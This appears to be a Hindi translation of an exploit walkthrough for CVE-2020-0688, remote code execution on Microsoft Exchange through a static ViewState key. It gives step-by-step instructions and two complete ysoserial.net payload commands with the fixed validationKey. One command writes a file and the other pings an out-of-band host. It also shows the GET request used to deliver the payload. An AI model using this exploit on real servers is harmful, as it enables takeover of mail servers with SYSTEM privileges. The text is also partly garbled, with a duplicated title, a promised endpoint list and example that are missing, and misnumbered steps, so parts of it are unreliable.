
[CVE-2020-0688] Microsoft Exchange Server स्थिर क्रिप्टोग्राफ़िक कुंजी दूरस्थ कोड निष्पादन (RCE)
[CVE-2020-0688] Microsoft Exchange Server में स्थिर क्रिप्टोग्राफ़िक कुंजी दूरस्थ कोड निष्पादन (RCE)
प्रति-स्थापना आधार पर यादृच्छिक रूप से जनरेट की गई कुंजियाँ रखने के बजाय, Microsoft Exchange Server की सभी स्थापनाओं में web.config में समान validationKey और decryptionKey मान होते हैं। इस प्रकार, एक प्रमाणित हमलावर सर्वर को दुर्भावनापूर्ण रूप से तैयार किए गए ViewState डेटा को deserialize करने के लिए धोखा दे सकता है। YSoSerial.net की सहायता से, एक हमलावर Exchange Control Panel (ECP) वेब एप्लिकेशन के संदर्भ में सर्वर पर मनमाना .NET कोड निष्पादित कर सकता है, जो SYSTEM विशेषाधिकारों के साथ चलता है।
चरण 1: निम्नलिखित endpoints में से किसी एक पर जाएँ और प्रमाणीकरण पृष्ठ तक पहुँचें
चरण 2: क्रेडेंशियल से लॉगिन करें (चाहे उपयोगकर्ता खाते के विशेषाधिकार कुछ भी हों), और HTTP रिस्पॉन्स Cookie और HTTP रिस्पॉन्स बॉडी से क्रमशः मान्य ASP_NET_SessionId और __VIEWSTATEGENERATOR मान प्राप्त करें। उदाहरण के लिए
चरण 3: पेलोड जनरेट करने के लिए (भेद्यता जाँचने हेतु), YSoSerial.net का उपयोग करें
ध्यान दें कि यदि आपके पास पीड़ित exchange सर्वर की पहुँच है, तो आप निम्नलिखित payload का उपयोग कर सकते हैं जो C:\ निर्देशिका में PoC.txt नाम की टेक्स्ट फ़ाइल बनाता है
PS C:\>ysoserial.net\ysoserial\bin\Release\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo OOOPS!!! > c:/PoC.txt" --validationalg="SHA1" --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --generator="B97B4E27" --viewstateuserkey="05ae4b41-51e1-4c3a-9241-6b87b169d663" --isdebug –islegacy
हालाँकि, यदि आप सर्वर तक नहीं पहुँच सकते, तो शायद निम्नलिखित बेहतर होगा।
PS C:\>ysoserial.net\ysoserial\bin\Release\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "ping xxxxxxxx..burpcollaborator.net" --validationalg="SHA1" --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --generator="B97B4E27" --viewstateuserkey="05ae4b41-51e1-4c3a-9241-6b87b169d663" --isdebug –islegacy
चरण 4: चरण 4 के बाद, हमारे पास url-एन्कोडेड ViewState payload होगा। निम्नलिखित प्रारूप में नीचे दिए गए endpoint पर GET अनुरोध करें
http(s)://exchangeserver/ecp/default.aspx?__VIEWSTATEGENERATOR=<generator>&__VIEWSTATE=<ViewState_Payload>
मूल ब्लॉगपोस्ट यहाँ उपलब्ध है।